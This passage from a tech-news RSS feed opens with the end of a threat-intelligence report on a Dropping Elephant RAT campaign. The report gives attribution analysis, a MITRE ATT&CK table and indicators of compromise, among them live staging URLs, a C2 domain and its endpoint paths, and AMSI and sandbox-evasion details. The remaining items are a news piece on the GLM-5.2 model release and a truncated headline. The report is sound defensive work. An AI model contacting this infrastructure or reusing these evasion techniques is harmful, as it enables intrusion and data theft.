src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda9cbc40bbd95f7c/6a31ae6efafcac0008eb5f1a/Control-flow-flattening-dispatcher-skeleton.png" alt="Control-flow-flattening-dispatcher-skeleton.png" caption="Figure 8: Control-flow flattening dispatcher skeleton in decompiler output" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltda9cbc40bbd95f7c/6a31ae6efafcac0008eb5f1a/Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-uid="bltda9cbc40bbd95f7c" data-sys-asset-filename="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Control-flow flattening dispatcher skeleton in decompiler output" data-sys-asset-alt="Control-flow-flattening-dispatcher-skeleton.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Control-flow flattening dispatcher skeleton in decompiler output</figcaption></div></figure><p>⠀</p><p><span>During dynamic testing, the process scan and public-IP geolocation checks are executed without triggering self-termination. The RAT built its registration beacon with the full process list in the </span><span><span data-type="inlineCode">mkeoldkf</span></span><span> field and attempted to send it to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span><span>. The connection returned HTTP 522, so the beacon did not reach the origin server during testing. Based on this run, we can confirm the environment checks and reporting behavior. Unfortunately, we cannot determine whether the operator would have killed the session, continued tasking, or taken another action after receiving the process list. </span>The full list of processes and security tools cancould be found in the IOCs section below.</p><h3>Attribution </h3><p><span>To test whether the RAT delivered by Donut was related to Dropping Elephant, we compared it with a known family sample documented by Arctic Wolf in July 2025: SHA-256 </span><span>8b6acc087e403b913254dd7d99f09136dc54fa45cf3029a8566151120d34d1c2</span><span>. That report provides the family context for the reference sample.</span></p><p><span>BinDiff produced low signal, with 8.6% overall similarity. We do not treat this as evidence against shared lineage. The new sample uses control-flow flattening, which changes the control-flow graph structure that BinDiff depends on. Therefore we also compared the samples with Diaphora, using pseudocode and AST-level features less affected by control-flow flattening.</span></p><p><span>Diaphora identified four function-level overlaps that pointed to a shared code usage.</span></p><table><colgroup data-width="1182"><col><col></colgroup><tbody><tr><td><p><span><strong>Functionality</strong></span></p></td><td><p><span><strong>Shared traits</strong></span></p></td></tr><tr><td><p><span>Command execution</span></p></td><td><p><span>Similar allocation, encoding, formatting, and POST structure; repeated use of the 0x2710 buffer constant</span></p></td></tr><tr><td><p><span>Screenshot handling</span></p></td><td><p><span>Same GDI screenshot pattern, including GetSystemMetrics values 78 and 79 and </span><span><span data-type="inlineCode">BitBlt</span></span><span> with 0xCC0020; the newer sample uses WIC instead of GDI+ for encoding</span></p></td></tr><tr><td><p><span>C2 connection</span></p></td><td><p><span>Same WININET request flow: open, connect, open request, send request, read response; the newer sample moves from HTTP to HTTPS with </span><span><span data-type="inlineCode">INTERNET_FLAG_SECURE</span></span></p></td></tr><tr><td><p><span>Shell execution</span></p></td><td><p><span>Shared hidden-window execution and cmd.exe /c chcp 65001 output-capture pattern</span></p></td></tr></tbody></table><p><span><em>Table 4: Code-level overlaps between </em></span><span><span data-type="inlineCode"><em>editor.extracted.exe</em></span></span><span><em> and </em></span><span><span data-type="inlineCode"><em>old_rat.exe</em></span></span><span><em> identified by Diaphora</em></span></p><p><span></span></p><p><span>The LNK lure and delivery chain also resemble prior Dropping Elephant reporting, including PowerShell staging, legitimate binary abuse, scheduled task persistence, extension manipulation during downloads, and DLL side-loading. These overlaps supported the initial hypothesis, but the payload comparison provides the primary evidence for the lineage assessment.</span></p><h2><span>Mitigation guidance</span></h2><h3><span>MITRE ATT&amp;CK techniques</span></h3><table><colgroup data-width="1371"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Tactic</strong></span></p></td><td><p><span><strong>Technique</strong></span></p></td><td><p><span><strong>Observable</strong></span></p></td></tr><tr><td><p><span>Initial Access</span></p></td><td><p><span>Phishing: Spearphishing Attachment [T1566.001]</span></p></td><td><p><span>Malicious </span><span><span data-type="inlineCode">GRES3001.lnk</span></span><span> used as the initial lure artifact; no email artifact recovered</span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>User Execution: Malicious File [T1204.002]</span></p></td><td><p><span>User opens </span><span><span data-type="inlineCode">GRES3001.lnk</span></span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>Command and Scripting Interpreter: PowerShell [T1059.001]</span></p></td><td><p><span>LNK launches </span><span><span data-type="inlineCode">conhost.exe</span></span><span>, which starts the PowerShell downloader</span></p></td></tr><tr><td><p><span>Execution</span></p></td><td><p><span>Command and Scripting Interpreter: Windows Command Shell [T1059.003]</span></p></td><td><p><span>RAT </span><span>cmx</span><span> handler runs </span><span><span data-type="inlineCode">cmd.exe /c chcp 65001 | &lt;cmd&gt;</span></span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task/Job: Scheduled Task [T1053.005]</span></p></td><td><p><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> runs </span><span><span data-type="inlineCode">C:\Users\Public\Fondue.exe</span></span><span> every minute</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Hijack Execution Flow: DLL Side-Loading [T1574.002]</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span><span> loads the malicious </span><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> staged alongside it</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Masquerading: Match Legitimate Name or Location [T1036.005]</span></p></td><td><p><span>Edge icon spoofing, </span><span><span data-type="inlineCode">GoogleErrorReport</span></span><span> task name, staging in </span><span><span data-type="inlineCode">C:\Users\Public\</span></span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Obfuscated Files or Information [T1027]</span></p></td><td><p><span>Junk file extensions, string splitting, encrypted payload container, encoded C2 fields</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Reflective Code Loading [T1620]</span></p></td><td><p><span>Donut maps the final PE in memory without writing it to disk</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Impair Defenses: Disable or Modify Tools [T1562.001]</span></p></td><td><p><span>Donut patches in-process AMSI and WLDP functions before payload execution</span></p></td></tr><tr><td><p><span>Defense Evasion</span></p></td><td><p><span>Virtualization/Sandbox Evasion: System Checks [T1497.001]</span></p></td><td><p><span>CPUID, VM artifact, process blacklist, and public-IP geolocation checks</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>Process Discovery [T1057]</span></p></td><td><p><span>RAT enumerates running processes and sends the process list in </span><span><span data-type="inlineCode">mkeoldkf</span></span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Information Discovery [T1082]</span></p></td><td><p><span>RAT collects username, computer name, OS version, and host profile fields</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Network Configuration Discovery [T1016]</span></p></td><td><p><span>RAT obtains public IP through </span><span><span data-type="inlineCode">api.ipify.org</span></span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>System Location Discovery [T1614]</span></p></td><td><p><span>RAT queries </span><span><span data-type="inlineCode">ip2c.org</span></span><span> for country/geolocation</span></p></td></tr><tr><td><p><span>Discovery</span></p></td><td><p><span>File and Directory Discovery [T1083]</span></p></td><td><p><span><span data-type="inlineCode">fl</span></span><span> handler enumerates files</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture [T1113]</span></p></td><td><p><span><span data-type="inlineCode">sc</span></span><span> handler captures the virtual screen with </span><span><span data-type="inlineCode">BitBlt</span></span><span> and encodes it with WIC</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System [T1005]</span></p></td><td><p><span><span data-type="inlineCode">uf</span></span><span> handler exfiltrates files; </span><span><span data-type="inlineCode">fl</span></span><span> handler lists local files</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Application Layer Protocol: Web Protocols [T1071.001]</span></p></td><td><p><span>HTTPS C2 traffic to </span><span><span data-type="inlineCode">gcl-power[.]org</span></span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Data Encoding: Standard Encoding [T1132.001]</span></p></td><td><p><span>C2 fields use Base64 wrapping</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Encrypted Channel: Symmetric Cryptography [T1573.001]</span></p></td><td><p><span>C2 field content is protected with Salsa20</span></p></td></tr><tr><td><p><span>Command and Control</span></p></td><td><p><span>Ingress Tool Transfer [T1105]</span></p></td><td><p><span>Initial staging downloads and </span><span><span data-type="inlineCode">dw</span></span><span> download-and-execute capability</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel [T1041]</span></p></td><td><p><span>Host fingerprinting, screenshots, command output, and files leave over the C2 channel</span></p></td></tr></tbody></table><h3><span>Indicators of compromise (IOCs)</span></h3><h4><span>File hashes</span></h4><table><colgroup data-width="1441"><col><col><col></colgroup><tbody><tr><td><p><span><strong>SHA-256</strong></span></p></td><td><p><span><strong>File</strong></span></p></td><td><p><span><strong>Comment</strong></span></p></td></tr><tr><td><p><span>a8ecbd9c049044ca4990a0e5960d19ce782a3b42d7763e9693d7c91ead24a0b7</span></p></td><td><p><span><span data-type="inlineCode">GRES3001.lnk</span></span></p></td><td><p><span>Initial-access shortcut; launches conhost.exe → PowerShell downloader</span></p></td></tr><tr><td><p><span>56d656d684077e7b3231393f5464447cdc8eea81b6415c5f010bc52f0c8cb317</span></p></td><td><p><span><span data-type="inlineCode">GRES3001.pdf</span></span></p></td><td><p><span>Decoy lure document</span></p></td></tr><tr><td><p><span>b58351ead08db413ca499cfeb1b1091ed8bfd68f4089605e452fa01ed46f42b1</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span></p></td><td><p><span>Legitimate Microsoft side-loading host</span></p></td></tr><tr><td><p><span>914da75a4ad6d70db856a2bc318d8828f28894622f017ee78d470b4794faafa6</span></p></td><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span></p></td><td><p><span>Malicious side-loaded loader; exports RunFODW</span></p></td></tr><tr><td><p><span>718812adb0d669eea9606432202371e358c7de6cdeafeddad222c36ae0d3f263</span></p></td><td><p><span><span data-type="inlineCode">msvcp140.dll</span></span></p></td><td><p><span>Bundled VC++ runtime; verify against known-good</span></p></td></tr><tr><td><p><span>09d1e604e8cdd06176fcc3d3698861be20638a4391f9f2d9e23f868c1576ca94</span></p></td><td><p><span><span data-type="inlineCode">vcruntime140.dll</span></span></p></td><td><p><span>Bundled VC++ runtime; verify against known-good</span></p></td></tr><tr><td><p><span>a5e448af73b0ff6b6fcfe6ef7808120e1fd7e5c4c9b4edd68e1c980e5ea3406b</span></p></td><td><p><span><span data-type="inlineCode">editor.dat</span></span></p></td><td><p><span>Base64-wrapped AES-256-CBC encrypted payload file</span></p></td></tr><tr><td><p><span>ecab0e747bff16a1163bbd9bb494e68dd4d7ca655ac7279bd4dd73221f7df57c</span></p></td><td><p><span><span data-type="inlineCode">editor.decrypted.bin</span></span></p></td><td><p><span>AES-decrypted Donut loader blob</span></p></td></tr><tr><td><p><span>7099c33933716c00c1f4bdb0281c230b981c76b23d7d1c83abc6f58968267d54</span></p></td><td><p><span><span data-type="inlineCode">editor.extracted.exe</span></span></p></td><td><p><span>Final RAT, carved from memory</span></p></td></tr></tbody></table><h4><span>Network indicators</span></h4><table><colgroup data-width="1348"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Indicator</strong></span></p></td><td><p><span><strong>Type</strong></span></p></td><td><p><span><strong>Notes</strong></span></p></td></tr><tr><td><p><span><span data-type="inlineCode">chinagreenenergy.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Staging and delivery server</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/35566/SXxls</span></span></p></td><td><p><span>URL</span></p></td><td><p><span>Decoy PDF download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/dfe87bbc-53e0-489f-a9e6-ab8f4be47cb9</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">Fondue.exe</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/8daaa3e4-c85e-40c1-a2a2-94679e94c417</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">APPWIZ.cpl</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/ecdc6b92-62b5-4acd-99f2-af09902938e1</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">msvcp140.dll</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/e7477b17-45f0-420b-b2b1-811d4c1556ea</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">vcruntime140.dll</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">https://chinagreenenergy.org/doc/list/load-list/000bd4a8-814d-414c-8be8-f0c77a9c7e1e</span></span></p></td><td><p><span>URL</span></p></td><td><p><span><span data-type="inlineCode">editor.dat</span></span><span> download</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">gcl-power.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Operational C2 over HTTPS/443</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Registration / check-in</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/gedhagammgjvvva/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Command polling endpoint</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">/prjozifvkpkfhkr/spxbjdhxtapivrk/</span></span></p></td><td><p><span>URI path</span></p></td><td><p><span>Screenshot exfiltration endpoint</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">api.ipify.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Public-IP lookup used during host fingerprinting</span></p></td></tr><tr><td><p><span><span data-type="inlineCode">ip2c.org</span></span></p></td><td><p><span>Domain</span></p></td><td><p><span>Geolocation lookup used during host fingerprinting</span></p></td></tr></tbody></table><h2><span>Conclusion</span></h2><p><span>The campaign analyzed in this blog demonstrates continued Dropping Elephant operational investment and tooling development. The actor reused recognizable delivery patterns, including a China-themed lure, PowerShell-based staging, scheduled task persistence, shortcut-based execution, and DLL side-loading through a trusted Microsoft binary. At the same time, it evolved the final payload into a more evasive, memory-resident implant.</span></p><p><span>The final RAT represents a notable evolution from previously documented Dropping Elephant tooling. It executes entirely in memory, patches AMSI, WLDP, and ETW before running, and incorporates additional obfuscation and anti-analysis techniques that make detection and analysis more difficult.</span></p><p><span>For defenders, the practical takeaway is that Dropping Elephant’s tooling may be changing faster than its operational approach. Hashes, filenames, and infrastructure are likely to change across campaigns, but the path into execution still creates opportunities to detect and disrupt the activity before the final implant runs.</span></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Z.ai’s open-weights GLM-5.2 beats GPT-5.5 on multiple long-horizon coding benchmarks for 1/6th the cost]]></title>
<description><![CDATA[Today, Chinese AI startup Z.ai (formerly Zhipu AI) announced the immediate release of GLM-5.2, a 753-billion parameter open-weights large language model (LLM) engineered specifically to dominate "long-horizon" autonomous coding and engineering tasks. Available immediately on Hugging Face, the Z.a...]]></description>
<link>https://tsecurity.de/de/3603255/it-nachrichten/zais-open-weights-glm-52-beats-gpt-55-on-multiple-long-horizon-coding-benchmarks-for-16th-the-cost/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3603255/it-nachrichten/zais-open-weights-glm-52-beats-gpt-55-on-multiple-long-horizon-coding-benchmarks-for-16th-the-cost/</guid>
<pubDate>Wed, 17 Jun 2026 00:16:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Today, Chinese AI startup Z.ai (formerly Zhipu AI) <a href="https://z.ai/blog/glm-5.2">announced the immediate release of GLM-5.2</a>, a 753-billion parameter open-weights large language model (LLM) engineered specifically to dominate "long-horizon" autonomous coding and engineering tasks. </p><p>Available immediately on <a href="https://huggingface.co/zai-org/GLM-5.2">Hugging Face</a>, the<a href="https://docs.z.ai/guides/overview/pricing"> Z.ai API</a>, and more than 20 third-party coding environments, the model boasts a highly stable 1-million-token context window alongside enterprise subscription tiers starting at just $12.60 per month. </p><p>In excellent news for cost and security-conscious businesses, z.ai has released GLM-5.2's core weights under an unrestricted <a href="https://huggingface.co/datasets/choosealicense/licenses/blob/main/markdown/mit.md">MIT open-source license</a>, allowing enterprises to download the model freely from Hugging Face, customize or fine-tune it to their liking, and run it potentially locally or via virtual machines for only the cost of their compute and electricity.</p><p>This is an increasingly appealing option for enterprises, as state-of-the-art American proprietary models face an uncertain and potentially interrupted regulatory future, following the<a href="https://venturebeat.com/technology/anthropic-blocks-all-public-access-to-claude-fable-5-mythos-5-following-us-government-order-what-enterprises-should-do"> Trump Administration's export control directive last week prohibiting foreign nationals from using Anthropic's new Claude Fable 5 model</a> (which that company responded to by taking the models in question entirely offline for <i>all</i> users). </p><p>For enterprise technical decision-makers, z.ai's GLM-5.2 provides a highly capable path to host frontier-level AI locally, entirely bypassing the geographic fencing and commercial limitations.</p><h2><b>IndexShare re-uses one indexer for every four sparse attention layers, reducing compute needs</b></h2><p>Under the hood, GLM-5.2 operates with 753 billion parameters and introduces a major architectural optimization called "IndexShare". </p><p>In standard massive language models, recalculating attention mechanisms across long documents is computationally exorbitant. IndexShare solves this by reusing the identical indexer across every four sparse attention layers. </p><p>At the maximum 1-million-token context length, this single innovation reduces per-token compute FLOPs by a massive 2.9 times. </p><p>The model also features an upgraded Multi-Token Prediction (MTP) layer for speculative decoding, which boosts accepted token length by up to 20% during inference.</p><p>Additionally, Z.ai has implemented flexible, selectable "Thinking Modes". Users can toggle the model's reasoning effort between "Max," designed to push the limits of logical problem-solving, or "High," which strikes a careful balance between high-end performance and latency-sensitive token efficiency.</p><h2><b>State-of-the-art benchmarks for an open model, and matching, even beating proprietary leaders on some categories</b></h2><p>On industry-standard third-party benchmark tests, GLM-5.2 performs above most open source flagship models, even <a href="https://venturebeat.com/technology/deepseek-v4-arrives-with-near-state-of-the-art-intelligence-at-1-6th-the-cost-of-opus-4-7-gpt-5-5">DeepSeek v4</a> and scores near or above its closed-weights rivals, OpenAI's GPT-5.5 and Anthropic's Claude Opus 4.8. </p><p>The model particularly shines in agentic tool use and long-horizon software engineering tasks:</p><ul><li><p><b>SWE-bench Pro:</b> GLM-5.2 scored 62.1, decisively beating GPT-5.5 (58.6) and its own predecessor, GLM-5.1 (58.4).</p></li><li><p><b>FrontierSWE (Dominance):</b> Designed to test long-horizon task completion, GLM-5.2 hit 74.4%, surpassing GPT-5.5 (72.6%) and finishing in a near-tie with Claude Opus 4.8 (75.1%).</p></li></ul><ul><li><p><b>MCP-Atlas:</b> On this tool-usage evaluation, GLM-5.2 achieved a 77.0, outscoring GPT-5.5 (75.3) and performing just shy of Claude Opus 4.8 (77.8).</p></li><li><p><b>Humanity's Last Exam (w/ Tools):</b> When equipped with external tools, GLM-5.2 reached a score of 54.7, coming out ahead of GPT-5.5 (52.2) and tracking closely behind Claude Opus 4.8 (57.9).</p></li><li><p><b>PostTrainBench &amp; SWE-Marathon:</b> In extended, multi-hour engineering workloads, GLM-5.2 consistently topped GPT-5.5, scoring 34.3% against GPT-5.5's 25.0% on PostTrainBench, and 13.0% against GPT-5.5's 12.0% on SWE-Marathon.</p></li></ul><p>While GLM-5.2 trails Claude Opus 4.8 and GPT-5.5 slightly on raw Terminal-Bench 2.1 scores (81.0 versus 85.0 and 84.0, respectively), it significantly outscores Google's Gemini 3.1 Pro (74.0). </p><p>Beyond traditional coding metrics, GLM-5.2 took an impressive first place on the crowdsourced design task benchmark <a href="https://x.com/Designarena/status/2066940737011560652/photo/1">Design Arena</a>, beating out even the aforementioned state-of-the-art Claude Fable 5 with an <a href="https://medium.com/better-ml/metrics-for-evaluating-llms-2c9d86acdbf6">ELO score</a> of 1360. </p><div></div><p> Furthermore, the impact of Z.ai's new selectable "thinking modes" is clearly visible in the data: under the "Max" effort level, GLM-5.2 pushes to peak intelligence, but utilizes nearly 85k output tokens per task. Switching to the "High" effort setting sacrifices only a few points in performance while effectively halving the required token output, providing a crucial optimization lever for latency-sensitive applications.</p><h2><b>Available via Coding Plans and API</b></h2><p>To operationalize the model, Z.ai launched the <a href="https://z.ai/subscribe">GLM Coding Plan</a>, aiming squarely at developer workflows rather than simple chat interfaces. </p><p>The plan offers out-of-the-box support for third-party U.S. and global agentic coding harnesses and tools including Claude Code, OpenClaw, Cline, Kilo Code, Crush, and Factory, among others. The Coding Plan pricing tiers (when billed annually) are highly competitive:</p><ul><li><p><b>Lite:</b> $12.60 per month ($151.20 per year starting in the 2nd year), geared toward lightweight iteration on small repositories.</p></li><li><p><b>Pro:</b> $50.40 per month for day-to-day development on mid-sized repositories, offering 5x the usage allowance of the Lite plan.</p></li><li><p><b>Max:</b> $112.00 per month for heavy workloads, offering 20x the Lite usage and dedicated resources during peak hours.</p></li></ul><p>For enterprise developers integrating the raw model into their own applications, Z.ai's API pricing undercuts its Western rivals significantly while matching the exact rates of the previous GLM-5.1 generation. </p><p>GLM-5.2 API access is <b>priced at $1.40 per million input tokens and $4.40 per million output tokens</b>, making it a mid-priced model globally, but about</p><h1><b>VentureBeat Frontier AI Model API Pricing Snapshot</b></h1><p><i>Sorted by total cost (input + output) from least to most expensive. Pricing shown is standard pay-as-you-go pricing per 1 million tokens.</i></p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Input</b></p></td><td><p><b>Output</b></p></td><td><p><b>Total Cost</b></p></td><td><p><b>Source</b></p></td></tr><tr><td><p>MiMo-V2.5 Flash</p></td><td><p>$0.10</p></td><td><p>$0.30</p></td><td><p>$0.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>deepseek-v4-flash</p></td><td><p>$0.14</p></td><td><p>$0.28</p></td><td><p>$0.42</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>deepseek-v4-pro</p></td><td><p>$0.435</p></td><td><p>$0.87</p></td><td><p>$1.305</p></td><td><p><a href="https://api-docs.deepseek.com/quick_start/pricing">DeepSeek</a></p></td></tr><tr><td><p>MiniMax-M3</p></td><td><p>$0.30</p></td><td><p>$1.20</p></td><td><p>$1.50</p></td><td><p><a href="https://platform.minimax.io/subscribe/token-plan?tab=api-enterprise">MiniMax</a></p></td></tr><tr><td><p>Gemini 3.1 Flash-Lite</p></td><td><p>$0.25</p></td><td><p>$1.50</p></td><td><p>$1.75</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Qwen3.7-Plus</p></td><td><p>$0.40</p></td><td><p>$1.60</p></td><td><p>$2.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-plus&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>MiMo-V2.5</p></td><td><p>$0.40</p></td><td><p>$2.00</p></td><td><p>$2.40</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Grok 4.3 (low context)</p></td><td><p>$1.25</p></td><td><p>$2.50</p></td><td><p>$3.75</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (≤256K)</p></td><td><p>$1.00</p></td><td><p>$3.00</p></td><td><p>$4.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Kimi-K2.6</p></td><td><p>$0.95</p></td><td><p>$4.00</p></td><td><p>$4.95</p></td><td><p><a href="https://platform.kimi.ai/docs/pricing/chat-k26">Moonshot/Kimi</a></p></td></tr><tr><td><p><b>GLM-5.2</b></p></td><td><p><b>$1.40</b></p></td><td><p><b>$4.40</b></p></td><td><p><b>$5.80</b></p></td><td><p><b></b><a href="https://docs.z.ai/guides/overview/pricing"><b>Z.ai</b></a></p></td></tr><tr><td><p>Grok 4.3 (high context)</p></td><td><p>$2.50</p></td><td><p>$5.00</p></td><td><p>$7.50</p></td><td><p><a href="https://docs.x.ai/developers/models/grok-4.3">xAI</a></p></td></tr><tr><td><p>MiMo-V2.5 Pro (&gt;256K)</p></td><td><p>$2.00</p></td><td><p>$6.00</p></td><td><p>$8.00</p></td><td><p><a href="https://platform.xiaomimimo.com/docs/en-US/pricing">Xiaomi MiMo</a></p></td></tr><tr><td><p>Qwen3.7-Max</p></td><td><p>$2.50</p></td><td><p>$7.50</p></td><td><p>$10.00</p></td><td><p><a href="https://modelstudio.console.alibabacloud.com/ap-southeast-1?spm=a2ty_o05.31384571.0.0.52649f6b7G0D55&amp;tab=doc#/doc/?type=model&amp;url=2840914_2&amp;modelId=qwen3.7-max&amp;serviceSite=international">Alibaba Cloud</a></p></td></tr><tr><td><p>Gemini 3.5 Flash</p></td><td><p>$1.50</p></td><td><p>$9.00</p></td><td><p>$10.50</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (≤200K)</p></td><td><p>$2.00</p></td><td><p>$12.00</p></td><td><p>$14.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>GPT-5.4</p></td><td><p>$2.50</p></td><td><p>$15.00</p></td><td><p>$17.50</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Gemini 3.1 Pro Preview (&gt;200K)</p></td><td><p>$4.00</p></td><td><p>$18.00</p></td><td><p>$22.00</p></td><td><p><a href="https://ai.google.dev/gemini-api/docs/pricing">Google</a></p></td></tr><tr><td><p>Claude Opus 4.8</p></td><td><p>$5.00</p></td><td><p>$25.00</p></td><td><p>$30.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/pricing">Anthropic</a></p></td></tr><tr><td><p>GPT-5.5</p></td><td><p>$5.00</p></td><td><p>$30.00</p></td><td><p>$35.00</p></td><td><p><a href="https://openai.com/api/pricing/">OpenAI</a></p></td></tr><tr><td><p>Claude Fable 5 / Claude Mythos 5</p></td><td><p>$10.00</p></td><td><p>$50.00</p></td><td><p>$60.00</p></td><td><p><a href="https://platform.claude.com/docs/en/about-claude/models/overview">Anthropic</a></p></td></tr></tbody></table><p>To further optimize costs for long-context workloads, Z.ai offers a cached input rate of just $0.26 per million tokens, alongside a limited-time offer for free cached input storage.</p><p>The stark contrast between open-weights innovators and proprietary Western labs has not gone unnoticed by the developer community. </p><p>On X, prolific AI observer <a href="https://venturebeat.com/technology/Lisan%20al%20Gaib%20(@scaling01)">Lisan al Gaib (@scaling01) </a>argued that "frontier labs are absolutely scamming you on API pricing". </p><p>The post noted that while massive open models like the 744-billion-parameter GLM-5.2 charge $4.40 per million output tokens and DeepSeek-V4-Pro (1.6 trillion parameters) charges just $0.87, proprietary models demand heavy premiums: Anthropic's Sonnet 4.6 and Opus 4.8 charge $15.00 and $25.00 respectively, while OpenAI's GPT-5.5 costs $30.00 for output. </p><p>Highlighting that open-model developers are operating profitably without relying on the newest "fancy Blackwell chips," the commentator suggested that leading proprietary labs are "probably at 90%+ margins at this point".</p><h2><b>The beauty of the unmodified MIT License for enterprise use</b></h2><p>The most disruptive aspect of the GLM-5.2 release is its licensing. Z.ai released the model's weights under an MIT open-source license, establishing it as a "Pure Open" system. </p><p>The company’s technical documentation explicitly notes that this license guarantees "no regional limits" and allows "technical access without borders".</p><p>For enterprise technology leaders, an MIT license means the software can be used, modified, and commercialized without paying royalties or adhering to restrictive "acceptable use" governance policies common to dual-use licenses. </p><p>It allows engineering teams to host frontier-level AI on their own sovereign infrastructure, entirely eliminating vendor lock-in.</p><h2><b>Warm reception among AI developers and toolmakers</b></h2><p>The developer reaction to the release has been immediate and overwhelmingly positive. </p><p>The team behind <a href="https://x.com/kilocode/status/2066953743166321077?s=20">Kilo Code</a> confirmed day-one integration, posting on X: "GLM-5.2 runs in Kilo Code on day one. The 1M context window and Max effort mode are both live. Point your config at it and go!".</p><p>Open-source coding environment <a href="https://x.com/cline/status/2066951439793242193?s=20">Cline IDE echoed this sentiment on X</a>, noting the economic advantage: "GLM-5.2 is the first open-weights model to cross 80% on Terminal-Bench, and beats every other open model available. It also beats Gemini, making it a frontier-level model for a fraction of the cost. Open weights is back. This model is a game changer. Available in Cline now!".</p><p>Similarly, rival open source coding desktop agent <a href="https://x.com/Eigent_AI/status/2066942441974886714">Eigent AI </a>also tested the model's new capabilities on complex agentic workflows, noting on X: "threw a real long-horizon task: research 30 companies across 6 sectors of the AI infrastructure stack, structure it into JSON, then build an interactive HTML report... where 5.2 pulls ahead: -&gt; plans...".</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust isn’t broken. Most companies just do it wrong.]]></title>
<description><![CDATA[Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.



The concept of zero trust was first defined by John Kindervag, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify...]]></description>
